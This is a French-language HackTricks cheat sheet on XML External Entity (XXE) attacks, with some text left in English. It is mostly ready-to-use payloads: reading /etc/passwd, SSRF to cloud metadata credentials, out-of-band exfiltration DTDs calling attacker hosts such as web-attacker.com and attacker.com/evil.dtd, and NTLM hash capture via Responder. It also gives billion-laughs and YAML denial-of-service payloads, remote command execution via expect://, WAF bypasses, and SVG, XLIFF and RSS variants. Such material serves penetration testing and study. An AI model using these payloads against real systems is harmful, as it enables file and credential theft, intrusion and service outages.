41 KiB
XXE - XEE - XML External Entity
Apprenez le piratage AWS de zéro à héros avec htARTE (HackTricks AWS Red Team Expert)!
D'autres façons de soutenir HackTricks :
- Si vous souhaitez voir votre entreprise annoncée dans HackTricks ou télécharger HackTricks en PDF, consultez les PLANS D'ABONNEMENT !
- Obtenez le swag officiel PEASS & HackTricks
- Découvrez La famille PEASS, notre collection exclusive de NFTs
- Rejoignez le 💬 groupe Discord ou le groupe Telegram ou suivez moi sur Twitter 🐦 @carlospolopm.
- Partagez vos astuces de piratage en soumettant des PR aux HackTricks et HackTricks Cloud dépôts GitHub.
Une attaque par entité externe XML est un type d'attaque contre une application qui analyse une entrée XML.
Bases XML
La plupart de ces informations sont basées sur cette incroyable page de Portswigger : https://portswigger.net/web-security/xxe/xml-entities
Aperçu du langage de balisage extensible
Le langage de balisage extensible, communément abrégé en XML, est défini comme un langage de balisage utilisé pour le stockage et le transport de données. En utilisant une structure rappelant un arbre, composée de balises et de données similaires à HTML, XML se distingue en ne se limitant pas à des balises prédéfinies. Cette flexibilité permet l'utilisation de balises nommées de manière descriptive selon les données qu'elles encapsulent. Historiquement, XML a gagné en importance en tant que format de transport de données, notamment représenté par sa contribution à l'acronyme "AJAX" (où "X" signifie "XML"). Cependant, sa popularité a diminué, JSON émergeant comme le format préféré.
Représentation des éléments de données en XML à travers les entités
En XML, les entités servent de mécanismes pour représenter des éléments de données dans un document, offrant une alternative à l'insertion directe de données. La spécification XML intègre diverses entités intégrées. Par exemple, <
et >
servent à représenter respectivement les caractères <
et >
. En raison de leur rôle dans la délimitation des balises XML, ces métacaractères doivent souvent être représentés à l'aide d'entités lorsqu'ils doivent apparaître dans les données.
Définition des éléments XML
Les déclarations de type d'élément sont essentielles en XML, car elles établissent les directives pour la présence, les types et le séquençage des éléments dans un document XML. Des exemples illustratifs incluent :
<!ELEMENT stockCheck ANY>
signifie que l'élément<stockCheck></stockCheck>
peut contenir n'importe quel type d'objet.<!ELEMENT stockCheck EMPTY>
indique que l'élément<stockCheck></stockCheck>
doit rester vide.<!ELEMENT stockCheck (productId,storeId)>
spécifie que l'élément<stockCheck>
peut uniquement contenir<productId>
et<storeId>
en tant qu'éléments enfants.
Introduction à la définition de type de document
La définition de type de document (DTD) joue un rôle crucial en XML en fournissant des déclarations qui peuvent dicter la structure d'un document XML, les types de données autorisés, et plus encore. L'élément DOCTYPE
, qui est facultatif et positionné au début d'un document XML, peut déclarer une DTD. Les DTD peuvent être catégorisées comme "internes" lorsqu'elles sont entièrement intégrées dans un document, "externes" lorsqu'elles sont chargées à partir d'une source externe, ou une combinaison des deux.
Utilisation d'entités personnalisées en XML
XML facilite la définition d'entités personnalisées dans une DTD. Une déclaration d'exemple :
<!DOCTYPE foo [ <!ENTITY myentity "ma valeur d'entité" > ]>
Une telle déclaration indique que la référence d'entité &myentity;
dans le document sera remplacée par "ma valeur d'entité".
Incorporation d'entités externes en XML
Les entités externes en XML sont un sous-type d'entités personnalisées, caractérisées par leurs définitions externes à la DTD. Ces entités utilisent le mot-clé SYSTEM
et nécessitent une URL spécifiant l'emplacement à partir duquel la valeur de l'entité doit être récupérée, permettant potentiellement les attaques par entité externe XML.
Exploitation des entités de paramètres XML pour la détection de XXE
Dans les scénarios où les entités standard sont inefficaces pour exploiter les vulnérabilités XXE en raison de la validation ou du renforcement du parseur XML, les entités de paramètres XML peuvent être utilisées. Distinguées par l'inclusion d'un caractère de pourcentage précédant le nom de l'entité et référencées en utilisant le même caractère, les entités de paramètres XML sont exclusivement référencées dans la DTD. Elles peuvent faciliter la détection de XXE aveugle par des méthodes hors bande, comme l'initiation d'une recherche DNS et d'une requête HTTP vers un domaine contrôlé par l'attaquant, confirmant ainsi le succès de l'exploit.
Attaques principales
Nouveau test d'entité
Dans cette attaque, je vais tester si une simple nouvelle déclaration d'ENTITÉ fonctionne
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [<!ENTITY toreplace "3"> ]>
<stockCheck>
<productId>&toreplace;</productId>
<storeId>1</storeId>
</stockCheck>
Lire le fichier
Essayons de lire /etc/passwd
de différentes manières. Pour Windows, vous pourriez essayer de lire : C:\windows\system32\drivers\etc\hosts
Dans ce premier cas, notez que SYSTEM "**file:///**etc/passwd" fonctionnera également.
<!--?xml version="1.0" ?-->
<!DOCTYPE foo [<!ENTITY example SYSTEM "/etc/passwd"> ]>
<data>&example;</data>
Ce deuxième cas devrait être utile pour extraire un fichier si le serveur web utilise PHP (ce n'est pas le cas des laboratoires Portswiggers)
<!--?xml version="1.0" ?-->
<!DOCTYPE replace [<!ENTITY example SYSTEM "php://filter/convert.base64-encode/resource=/etc/passwd"> ]>
<data>&example;</data>
Dans ce troisième cas, remarquez que nous déclarons l'Element stockCheck
comme ANY
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE data [
<!ELEMENT stockCheck ANY>
<!ENTITY file SYSTEM "file:///etc/passwd">
]>
<stockCheck>
<productId>&file;</productId>
<storeId>1</storeId>
</stockCheck3>
Listing de répertoire
Dans les applications basées sur Java, il pourrait être possible de list the contents of a directory via XXE with a payload like (just asking for the directory instead of the file):
<!-- Root / -->
<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE aa[<!ELEMENT bb ANY><!ENTITY xxe SYSTEM "file:///">]><root><foo>&xxe;</foo></root>
<!-- /etc/ -->
<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE root[<!ENTITY xxe SYSTEM "file:///etc/" >]><root><foo>&xxe;</foo></root>
SSRF
Un XXE pourrait être utilisé pour abuser d'un SSRF dans un cloud
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [ <!ENTITY xxe SYSTEM "http://169.254.169.254/latest/meta-data/iam/security-credentials/admin"> ]>
<stockCheck><productId>&xxe;</productId><storeId>1</storeId></stockCheck>
SSRF Aveugle
En utilisant la technique précédemment commentée, vous pouvez amener le serveur à accéder à un serveur que vous contrôlez pour montrer sa vulnérabilité. Mais, si cela ne fonctionne pas, c'est peut-être parce que les entités XML ne sont pas autorisées, dans ce cas, vous pourriez essayer d'utiliser des entités de paramètres XML:
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE test [ <!ENTITY % xxe SYSTEM "http://gtd8nhwxylcik0mt2dgvpeapkgq7ew.burpcollaborator.net"> %xxe; ]>
<stockCheck><productId>3;</productId><storeId>1</storeId></stockCheck>
"Aveugle" SSRF - Exfiltrer des données hors bande
Dans ce cas, nous allons faire charger au serveur un nouveau DTD avec une charge utile malveillante qui enverra le contenu d'un fichier via une requête HTTP (pour les fichiers multi-lignes, vous pourriez essayer de l'exfiltrer via ftp://). Cette explication est tirée du laboratoire de Portswigger ici.
Un exemple de DTD malveillant pour exfiltrer le contenu du fichier /etc/hostname
est le suivant:
<!ENTITY % file SYSTEM "file:///etc/hostname">
<!ENTITY % eval "<!ENTITY % exfiltrate SYSTEM 'http://web-attacker.com/?x=%file;'>">
%eval;
%exfiltrate;
Ce DTD effectue les étapes suivantes:
- Définit une entité de paramètre XML appelée
file
, contenant le contenu du fichier/etc/passwd
. - Définit une entité de paramètre XML appelée
eval
, contenant une déclaration dynamique d'une autre entité de paramètre XML appeléeexfiltrate
. L'entitéexfiltrate
sera évaluée en effectuant une requête HTTP vers le serveur web de l'attaquant contenant la valeur de l'entitéfile
dans la chaîne de requête URL. - Utilise l'entité
eval
, ce qui provoque l'exécution dynamique de l'entitéexfiltrate
. - Utilise l'entité
exfiltrate
, de sorte que sa valeur soit évaluée en demandant l'URL spécifiée.
L'attaquant doit ensuite héberger le DTD malveillant sur un système qu'il contrôle, généralement en le chargeant sur son propre serveur web. Par exemple, l'attaquant pourrait servir le DTD malveillant à l'URL suivante:
http://web-attaquant.com/malicious.dtd
Enfin, l'attaquant doit soumettre la charge utile XXE suivante à l'application vulnérable:
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [<!ENTITY % xxe SYSTEM "http://web-attacker.com/malicious.dtd"> %xxe;]>
<stockCheck><productId>3;</productId><storeId>1</storeId></stockCheck>
Ce payload XXE déclare une entité de paramètre XML appelée xxe
, puis utilise l'entité dans le DTD. Cela va amener l'analyseur XML à récupérer le DTD externe depuis le serveur de l'attaquant et à l'interpréter en ligne. Les étapes définies dans le DTD malveillant sont ensuite exécutées, et le fichier /etc/passwd
est transmis au serveur de l'attaquant.
Basé sur les erreurs (DTD externe)
Dans ce cas, nous allons amener le serveur à charger un DTD malveillant qui affichera le contenu d'un fichier à l'intérieur d'un message d'erreur (valable uniquement si vous pouvez voir les messages d'erreur). Exemple ici.
Vous pouvez déclencher un message d'erreur d'analyse XML contenant le contenu du fichier /etc/passwd
en utilisant un DTD externe malveillant comme suit:
<!ENTITY % file SYSTEM "file:///etc/passwd">
<!ENTITY % eval "<!ENTITY % error SYSTEM 'file:///nonexistent/%file;'>">
%eval;
%error;
Ce DTD effectue les étapes suivantes:
- Définit une entité de paramètre XML appelée
file
, contenant le contenu du fichier/etc/passwd
. - Définit une entité de paramètre XML appelée
eval
, contenant une déclaration dynamique d'une autre entité de paramètre XML appeléeerror
. L'entitéerror
sera évaluée en chargeant un fichier inexistant dont le nom contient la valeur de l'entitéfile
. - Utilise l'entité
eval
, ce qui provoque l'exécution de la déclaration dynamique de l'entitéerror
. - Utilise l'entité
error
, de sorte que sa valeur soit évaluée en tentant de charger le fichier inexistant, ce qui entraîne un message d'erreur contenant le nom du fichier inexistant, qui est le contenu du fichier/etc/passwd
.
Invoquez l'erreur DTD externe avec:
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [<!ENTITY % xxe SYSTEM "http://web-attacker.com/malicious.dtd"> %xxe;]>
<stockCheck><productId>3;</productId><storeId>1</storeId></stockCheck>
Et vous devriez voir le contenu du fichier à l'intérieur du message d'erreur de la réponse du serveur web.
Veuillez noter que le DTD externe nous permet d'inclure une entité à l'intérieur de la seconde (eval
), mais c'est interdit dans le DTD interne. Par conséquent, vous ne pouvez pas forcer une erreur sans utiliser un DTD externe (généralement).
Basé sur les erreurs (DTD système)
Alors, que dire des vulnérabilités XXE aveugles lorsque les interactions hors bande sont bloquées (les connexions externes ne sont pas disponibles)?.
Une faille dans la spécification du langage XML peut exposer des données sensibles à travers des messages d'erreur lorsque le DTD d'un document mélange des déclarations internes et externes. Ce problème permet la redéfinition interne des entités déclarées de manière externe, facilitant l'exécution d'attaques XXE basées sur les erreurs. De telles attaques exploitent la redéfinition d'une entité de paramètre XML, initialement déclarée dans un DTD externe, à partir d'un DTD interne. Lorsque les connexions hors bande sont bloquées par le serveur, les attaquants doivent se fier aux fichiers DTD locaux pour mener l'attaque, visant à induire une erreur d'analyse pour révéler des informations sensibles.
Considérez un scénario où le système de fichiers du serveur contient un fichier DTD à /usr/local/app/schema.dtd
, définissant une entité nommée custom_entity
. Un attaquant peut induire une erreur d'analyse XML révélant le contenu du fichier /etc/passwd
en soumettant un DTD hybride comme suit:
<!DOCTYPE foo [
<!ENTITY % local_dtd SYSTEM "file:///usr/local/app/schema.dtd">
<!ENTITY % custom_entity '
<!ENTITY % file SYSTEM "file:///etc/passwd">
<!ENTITY % eval "<!ENTITY &#x25; error SYSTEM 'file:///nonexistent/%file'>">
%eval;
%error;
'>
%local_dtd;
]>
Les étapes décrites sont exécutées par cette DTD :
- La définition d'une entité de paramètre XML nommée
local_dtd
inclut le fichier DTD externe situé sur le système de fichiers du serveur. - Une redéfinition se produit pour l'entité de paramètre XML
custom_entity
, initialement définie dans le DTD externe, pour encapsuler une exploitation XXE basée sur les erreurs. Cette redéfinition est conçue pour provoquer une erreur d'analyse, exposant le contenu du fichier/etc/passwd
. - En utilisant l'entité
local_dtd
, le DTD externe est activé, englobant lacustom_entity
nouvellement définie. Cette séquence d'actions provoque l'émission du message d'erreur visé par l'exploit.
Exemple du monde réel : Les systèmes utilisant l'environnement de bureau GNOME ont souvent un DTD à /usr/share/yelp/dtd/docbookx.dtd
contenant une entité appelée ISOamso
.
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
<!ENTITY % local_dtd SYSTEM "file:///usr/share/yelp/dtd/docbookx.dtd">
<!ENTITY % ISOamso '
<!ENTITY % file SYSTEM "file:///etc/passwd">
<!ENTITY % eval "<!ENTITY &#x25; error SYSTEM 'file:///nonexistent/%file;'>">
%eval;
%error;
'>
%local_dtd;
]>
<stockCheck><productId>3;</productId><storeId>1</storeId></stockCheck>
Comme cette technique utilise un DTD interne, vous devez d'abord en trouver un valide. Vous pourriez le faire en installant le même OS / logiciel que celui utilisé par le serveur et en recherchant quelques DTD par défaut, ou en récupérant une liste de DTD par défaut à l'intérieur des systèmes et en vérifiant s'il en existe un :
<!DOCTYPE foo [
<!ENTITY % local_dtd SYSTEM "file:///usr/share/yelp/dtd/docbookx.dtd">
%local_dtd;
]>
Pour plus d'informations, consultez https://portswigger.net/web-security/xxe/blind
Trouver des DTD à l'intérieur du système
Dans le dépôt GitHub suivant, vous pouvez trouver les chemins des DTD qui peuvent être présents dans le système:
{% embed url="https://github.com/GoSecure/dtd-finder/tree/master/list" %}
De plus, si vous avez l'image Docker du système victime, vous pouvez utiliser l'outil du même dépôt pour analyser l'image et trouver le chemin des DTD présents dans le système. Lisez le Readme du github pour apprendre comment faire.
java -jar dtd-finder-1.2-SNAPSHOT-all.jar /tmp/dadocker.tar
Scanning TAR file /tmp/dadocker.tar
[=] Found a DTD: /tomcat/lib/jsp-api.jar!/jakarta/servlet/jsp/resources/jspxml.dtd
Testing 0 entities : []
[=] Found a DTD: /tomcat/lib/servlet-api.jar!/jakarta/servlet/resources/XMLSchema.dtd
Testing 0 entities : []
XXE via Office Open XML Parsers
Pour une explication plus approfondie de cette attaque, consultez la deuxième section de cet article incroyable de Detectify.
La capacité de télécharger des documents Microsoft Office est proposée par de nombreuses applications web, qui procèdent ensuite à l'extraction de certaines informations de ces documents. Par exemple, une application web peut permettre aux utilisateurs d'importer des données en téléchargeant une feuille de calcul au format XLSX. Afin que l'analyseur puisse extraire les données de la feuille de calcul, il devra inévitablement analyser au moins un fichier XML.
Pour tester cette vulnérabilité, il est nécessaire de créer un fichier Microsoft Office contenant une charge utile XXE. La première étape consiste à créer un répertoire vide dans lequel le document peut être décompressé.
Une fois le document décompressé, le fichier XML situé à ./unzipped/word/document.xml
doit être ouvert et modifié dans un éditeur de texte préféré (tel que vim). Le XML doit être modifié pour inclure la charge utile XXE souhaitée, commençant souvent par une requête HTTP.
Les lignes XML modifiées doivent être insérées entre les deux objets XML racine. Il est important de remplacer l'URL par une URL pouvant être surveillée pour les requêtes.
Enfin, le fichier peut être compressé pour créer le fichier malveillant poc.docx. À partir du répertoire "unzipped" précédemment créé, la commande suivante doit être exécutée :
Maintenant, le fichier créé peut être téléchargé vers l'application web potentiellement vulnérable, et on peut espérer qu'une requête apparaisse dans les journaux de collaborateur de Burp.
Protocole Jar
Le protocole jar
est uniquement disponible sur les applications Java. Il permet d'accéder aux fichiers à l'intérieur d'un fichier PKZIP (.zip
, .jar
, ...) et fonctionne pour les fichiers locaux et distants :
jar:file:///var/myarchive.zip!/file.txt
jar:https://download.host.com/myarchive.zip!/file.txt
{% hint style="danger" %} Pour pouvoir accéder aux fichiers à l'intérieur des fichiers PKZIP est super utile pour abuser de XXE via des fichiers DTD système. Consultez cette section pour apprendre comment abuser des fichiers DTD système. {% endhint %}
Dans les coulisses
- Il effectue une requête HTTP pour charger l'archive zip.
https://download.host.com/myarchive.zip
- Il enregistre la réponse HTTP dans un emplacement temporaire.
/tmp/...
- Il extrait l'archive.
- Il lit le fichier
file.zip
- Il supprime les fichiers temporaires.
Notez qu'il est possible d'interrompre le flux à la deuxième étape. Le truc est de ne jamais fermer la connexion lors de la fourniture du fichier. Ces outils peuvent être utiles : un en python slow_http_server.py
et un en java slowserver.jar
.
Une fois que le serveur a téléchargé votre fichier, vous devez trouver son emplacement en parcourant le répertoire temporaire. Étant aléatoire, le chemin du fichier ne peut pas être prédit à l'avance.
{% hint style="danger" %} Écrire des fichiers dans un répertoire temporaire peut aider à escalader une autre vulnérabilité qui implique une traversée de chemin (comme l'inclusion de fichier local, l'injection de modèle, la RCE XSLT, la désérialisation, etc). {% endhint %}
XSS
<![CDATA[<]]>script<![CDATA[>]]>alert(1)<![CDATA[<]]>/script<![CDATA[>]]>
DoS
Attaque des milliards de rires
<!DOCTYPE data [
<!ENTITY a0 "dos" >
<!ENTITY a1 "&a0;&a0;&a0;&a0;&a0;&a0;&a0;&a0;&a0;&a0;">
<!ENTITY a2 "&a1;&a1;&a1;&a1;&a1;&a1;&a1;&a1;&a1;&a1;">
<!ENTITY a3 "&a2;&a2;&a2;&a2;&a2;&a2;&a2;&a2;&a2;&a2;">
<!ENTITY a4 "&a3;&a3;&a3;&a3;&a3;&a3;&a3;&a3;&a3;&a3;">
]>
<data>&a4;</data>
Attaque Yaml
a: &a ["lol","lol","lol","lol","lol","lol","lol","lol","lol"]
b: &b [*a,*a,*a,*a,*a,*a,*a,*a,*a]
c: &c [*b,*b,*b,*b,*b,*b,*b,*b,*b]
d: &d [*c,*c,*c,*c,*c,*c,*c,*c,*c]
e: &e [*d,*d,*d,*d,*d,*d,*d,*d,*d]
f: &f [*e,*e,*e,*e,*e,*e,*e,*e,*e]
g: &g [*f,*f,*f,*f,*f,*f,*f,*f,*f]
h: &h [*g,*g,*g,*g,*g,*g,*g,*g,*g]
i: &i [*h,*h,*h,*h,*h,*h,*h,*h,*h]
Attaque d'Explosion Quadratique
Obtenir NTML
Sur les hôtes Windows, il est possible d'obtenir le hachage NTML de l'utilisateur du serveur web en définissant un gestionnaire responder.py:
Responder.py -I eth0 -v
et en envoyant la requête suivante
<!--?xml version="1.0" ?-->
<!DOCTYPE foo [<!ENTITY example SYSTEM 'file://///attackerIp//randomDir/random.jpg'> ]>
<data>&example;</data>
Ensuite, vous pouvez essayer de craquer le hash en utilisant hashcat
Surfaces XXE Cachées
XInclude
Dans certains scénarios, les données envoyées par le client sont incorporées dans un document XML par des processus côté serveur avant l'analyse. Cela se produit généralement lorsque les données client sont intégrées dans une requête SOAP backend, gérée ultérieurement par un service SOAP côté serveur.
Mener une attaque XXE traditionnelle s'avère difficile dans ces cas en raison du contrôle limité sur l'ensemble du document XML, en particulier l'incapacité à modifier ou introduire un élément DOCTYPE
. Cependant, en exploitant XInclude
, une fonctionnalité de la norme XML qui permet l'assemblage d'un document XML à partir de sous-documents plus petits, présente une solution de contournement. Cette approche permet une attaque XInclude
dans n'importe quel élément de données d'un document XML, la rendant réalisable dans les cas où le contrôle est restreint à une pièce de données individuelle intégrée dans un document XML généré par le serveur.
Pour lancer une attaque XInclude
, l'inclusion de l'espace de noms XInclude
est requise, ainsi que la spécification du chemin de fichier destiné à l'inclusion. L'exemple suivant montre comment une telle attaque pourrait être structurée:
productId=<foo xmlns:xi="http://www.w3.org/2001/XInclude"><xi:include parse="text" href="file:///etc/passwd"/></foo>&storeId=1
Consultez https://portswigger.net/web-security/xxe pour plus d'informations!
SVG - Téléchargement de fichiers
Les fichiers téléchargés par les utilisateurs vers certaines applications, qui sont ensuite traités sur le serveur, peuvent exploiter des vulnérabilités dans la manière dont les fichiers XML ou contenant du XML sont gérés. Des formats de fichiers courants tels que les documents de bureau (DOCX) et les images (SVG) sont basés sur XML.
Lorsque les utilisateurs téléchargent des images, ces images sont traitées ou validées côté serveur. Même pour les applications qui s'attendent à des formats tels que PNG ou JPEG, la bibliothèque de traitement d'images du serveur peut également prendre en charge les images SVG. SVG, étant un format basé sur XML, peut être exploité par des attaquants pour soumettre des images SVG malveillantes, exposant ainsi le serveur à des vulnérabilités XXE (XML External Entity).
Un exemple d'une telle exploitation est présenté ci-dessous, où une image SVG malveillante tente de lire des fichiers système:
<svg xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" width="300" version="1.1" height="200"><image xlink:href="file:///etc/hostname"></image></svg>
Une autre méthode consiste à tenter d'exécuter des commandes via l'enveloppe PHP "expect" :
<svg xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" width="300" version="1.1" height="200">
<image xlink:href="expect://ls"></image>
</svg>
Dans les deux cas, le format SVG est utilisé pour lancer des attaques exploitant les capacités de traitement XML du logiciel du serveur, soulignant ainsi la nécessité d'une validation d'entrée robuste et de mesures de sécurité.
Consultez https://portswigger.net/web-security/xxe pour plus d'informations !
Notez que la première ligne du fichier lu ou du résultat de l'exécution apparaîtra À L'INTÉRIEUR de l'image créée. Vous devez donc pouvoir accéder à l'image créée par SVG.
PDF - Téléchargement de fichiers
Consultez le post suivant pour apprendre à exploiter une XXE en téléchargeant un fichier PDF :
{% content-ref url="file-upload/pdf-upload-xxe-and-cors-bypass.md" %} pdf-upload-xxe-and-cors-bypass.md {% endcontent-ref %}
Content-Type : De x-www-urlencoded à XML
Si une requête POST accepte les données au format XML, vous pourriez essayer d'exploiter une XXE dans cette requête. Par exemple, si une requête normale contient ce qui suit :
POST /action HTTP/1.0
Content-Type: application/x-www-form-urlencoded
Content-Length: 7
foo=bar
Ensuite, vous pourrez soumettre la demande suivante, avec le même résultat:
POST /action HTTP/1.0
Content-Type: text/xml
Content-Length: 52
<?xml version="1.0" encoding="UTF-8"?><foo>bar</foo>
Content-Type: De JSON à XEE
Pour modifier la requête, vous pouvez utiliser une extension Burp nommée "Content Type Converter". Ici vous pouvez trouver cet exemple:
Content-Type: application/json;charset=UTF-8
{"root": {"root": {
"firstName": "Avinash",
"lastName": "",
"country": "United States",
"city": "ddd",
"postalCode": "ddd"
}}}
Content-Type: application/xml;charset=UTF-8
<?xml version="1.0" encoding="UTF-8" standalone="no"?>
<!DOCTYPE testingxxe [<!ENTITY xxe SYSTEM "http://34.229.92.127:8000/TEST.ext" >]>
<root>
<root>
<firstName>&xxe;</firstName>
<lastName/>
<country>United States</country>
<city>ddd</city>
<postalCode>ddd</postalCode>
</root>
</root>
Un autre exemple peut être trouvé ici.
Contournements de WAF & Protections
Base64
<!DOCTYPE test [ <!ENTITY % init SYSTEM "data://text/plain;base64,ZmlsZTovLy9ldGMvcGFzc3dk"> %init; ]><foo/>
Cela ne fonctionne que si le serveur XML accepte le protocole data://
.
UTF-7
Vous pouvez utiliser la ["Recette d'encodage" de cyberchef ici ]([https://gchq.github.io/CyberChef/#recipe=Encode_text%28'UTF-7 %2865000%29'%29&input=PCFET0NUWVBFIGZvbyBbPCFFTlRJVFkgZXhhbXBsZSBTWVNURU0gIi9ldGMvcGFzc3dkIj4gXT4KPHN0b2NrQ2hlY2s%2BPHByb2R1Y3RJZD4mZXhhbXBsZTs8L3Byb2R1Y3RJZD48c3RvcmVJZD4xPC9zdG9yZUlkPjwvc3RvY2tDaGVjaz4)to](https://gchq.github.io/CyberChef/#recipe=Encode_text%28'UTF-7 %2865000%29'%29&input=PCFET0NUWVBFIGZvbyBbPCFFTlRJVFkgZXhhbXBsZSBTWVNURU0gIi9ldGMvcGFzc3dkIj4gXT4KPHN0b2NrQ2hlY2s%2BPHByb2R1Y3RJZD4mZXhhbXBsZTs8L3Byb2R1Y3RJZD48c3RvcmVJZD4xPC9zdG9yZUlkPjwvc3RvY2tDaGVjaz4%29to) pour transformer en UTF-7.
<!xml version="1.0" encoding="UTF-7"?-->
+ADw-+ACE-DOCTYPE+ACA-foo+ACA-+AFs-+ADw-+ACE-ENTITY+ACA-example+ACA-SYSTEM+ACA-+ACI-/etc/passwd+ACI-+AD4-+ACA-+AF0-+AD4-+AAo-+ADw-stockCheck+AD4-+ADw-productId+AD4-+ACY-example+ADs-+ADw-/productId+AD4-+ADw-storeId+AD4-1+ADw-/storeId+AD4-+ADw-/stockCheck+AD4-
<?xml version="1.0" encoding="UTF-7"?>
+ADwAIQ-DOCTYPE foo+AFs +ADwAIQ-ELEMENT foo ANY +AD4
+ADwAIQ-ENTITY xxe SYSTEM +ACI-http://hack-r.be:1337+ACI +AD4AXQA+
+ADw-foo+AD4AJg-xxe+ADsAPA-/foo+AD4
Fichier:/ Contournement de protocole
Si le site web utilise PHP, au lieu d'utiliser file:/
, vous pouvez utiliser les enveloppes php php://filter/convert.base64-encode/resource=
pour accéder aux fichiers internes.
Si le site web utilise Java, vous pouvez vérifier le protocole jar.
Entités HTML
Astuce de https://github.com/Ambrotd/XXE-Notes
Vous pouvez créer une entité à l'intérieur d'une entité en l'encodant avec des entités html puis l'appeler pour charger un dtd.
Notez que les Entités HTML utilisées doivent être numériques (comme [dans cet exemple](https://gchq.github.io/CyberChef/#recipe=To_HTML_Entity%28true,'Numeric entities'%29&input=PCFFTlRJVFkgJSBkdGQgU1lTVEVNICJodHRwOi8vMTcyLjE3LjAuMTo3ODc4L2J5cGFzczIuZHRkIiA%2B)\).
<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE foo [<!ENTITY % a "<!ENTITY%dtdSYSTEM"http://ourserver.com/bypass.dtd">" >%a;%dtd;]>
<data>
<env>&exfil;</env>
</data>
Exemple de DTD :
<!ENTITY % data SYSTEM "php://filter/convert.base64-encode/resource=/flag">
<!ENTITY % abt "<!ENTITY exfil SYSTEM 'http://172.17.0.1:7878/bypass.xml?%data;'>">
%abt;
%exfil;
Enveloppes PHP
Base64
Extraire index.php
<!DOCTYPE replace [<!ENTITY xxe SYSTEM "php://filter/convert.base64-encode/resource=index.php"> ]>
Extraire une ressource externe
<!DOCTYPE replace [<!ENTITY xxe SYSTEM "php://filter/convert.base64-encode/resource=http://10.0.0.3"> ]>
Exécution de code à distance
Si le module PHP "expect" est chargé
<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE foo [ <!ELEMENT foo ANY >
<!ENTITY xxe SYSTEM "expect://id" >]>
<creds>
<user>&xxe;</user>
<pass>mypass</pass>
</creds>
SOAP - XEE
<soap:Body><foo><![CDATA[<!DOCTYPE doc [<!ENTITY % dtd SYSTEM "http://x.x.x.x:22/"> %dtd;]><xxx/>]]></foo></soap:Body>
XLIFF - XXE
Cette section a été extraite de https://pwn.vg/articles/2021-06/local-file-read-via-error-based-xxe
Selon Wikipedia:
XLIFF (XML Localization Interchange File Format) est un format de fichier bitexte basé sur XML créé pour standardiser la manière dont les données localisables sont transmises entre les outils pendant un processus de localisation et un format commun pour l'échange d'outils CAT.
Requête aveugle
------WebKitFormBoundaryqBdAsEtYaBjTArl3
Content-Disposition: form-data; name="file"; filename="xxe.xliff"
Content-Type: application/x-xliff+xml
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE XXE [
<!ENTITY % remote SYSTEM "http://redacted.burpcollaborator.net/?xxe_test"> %remote; ]>
<xliff srcLang="en" trgLang="ms-MY" version="2.0"></xliff>
------WebKitFormBoundaryqBdAsEtYaBjTArl3--
Le serveur répond avec une erreur :
{"status":500,"error":"Internal Server Error","message":"Error systemId: http://redacted.burpcollaborator.net/?xxe_test; The markup declarations contained or pointed to by the document type declaration must be well-formed."}
Mais nous avons eu un hit sur Burp Collaborator.
Exfiltration de données via Out of Band
------WebKitFormBoundaryqBdAsEtYaBjTArl3
Content-Disposition: form-data; name="file"; filename="xxe.xliff"
Content-Type: application/x-xliff+xml
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE XXE [
<!ENTITY % remote SYSTEM "http://attacker.com/evil.dtd"> %remote; ]>
<xliff srcLang="en" trgLang="ms-MY" version="2.0"></xliff>
------WebKitFormBoundaryqBdAsEtYaBjTArl3--
Basé sur l'Agent utilisateur affiché retourné par Burp Collaborator, il semble qu'il utilise Java 1.8. L'un des problèmes lors de l'exploitation de XXE sur cette version de Java est que nous ne pouvons pas obtenir les fichiers contenant un Nouvelle Ligne
tels que /etc/passwd
en utilisant la technique Out of Band.
Exfiltration de données via l'erreur basée
Fichier DTD :
<!ENTITY % data SYSTEM "file:///etc/passwd">
<!ENTITY % foo "<!ENTITY % xxe SYSTEM 'file:///nofile/'>">
%foo;
%xxe;
Réponse du serveur:
{"status":500,"error":"Internal Server Error","message":"IO error.\nReason: /nofile (No such file or directory)"}
Super! Le fichier non-exist
est reflété dans les messages d'erreur. Ensuite, ajoutez le contenu du fichier.
Fichier DTD :
<!ENTITY % data SYSTEM "file:///etc/passwd">
<!ENTITY % foo "<!ENTITY % xxe SYSTEM 'file:///nofile/%data;'>">
%foo;
%xxe;
Et le contenu du fichier a été imprimé dans la sortie de l'erreur envoyée via HTTP.
RSS - XEE
XML valide au format RSS pour exploiter une vulnérabilité XXE.
Ping back
Requête HTTP simple vers le serveur des attaquants
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE title [ <!ELEMENT title ANY >
<!ENTITY xxe SYSTEM "http://<AttackIP>/rssXXE" >]>
<rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom">
<channel>
<title>XXE Test Blog</title>
<link>http://example.com/</link>
<description>XXE Test Blog</description>
<lastBuildDate>Mon, 02 Feb 2015 00:00:00 -0000</lastBuildDate>
<item>
<title>&xxe;</title>
<link>http://example.com</link>
<description>Test Post</description>
<author>author@example.com</author>
<pubDate>Mon, 02 Feb 2015 00:00:00 -0000</pubDate>
</item>
</channel>
</rss>
Lire le fichier
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE title [ <!ELEMENT title ANY >
<!ENTITY xxe SYSTEM "file:///etc/passwd" >]>
<rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom">
<channel>
<title>The Blog</title>
<link>http://example.com/</link>
<description>A blog about things</description>
<lastBuildDate>Mon, 03 Feb 2014 00:00:00 -0000</lastBuildDate>
<item>
<title>&xxe;</title>
<link>http://example.com</link>
<description>a post</description>
<author>author@example.com</author>
<pubDate>Mon, 03 Feb 2014 00:00:00 -0000</pubDate>
</item>
</channel>
</rss>
Lire le code source
Utilisation du filtre base64 PHP
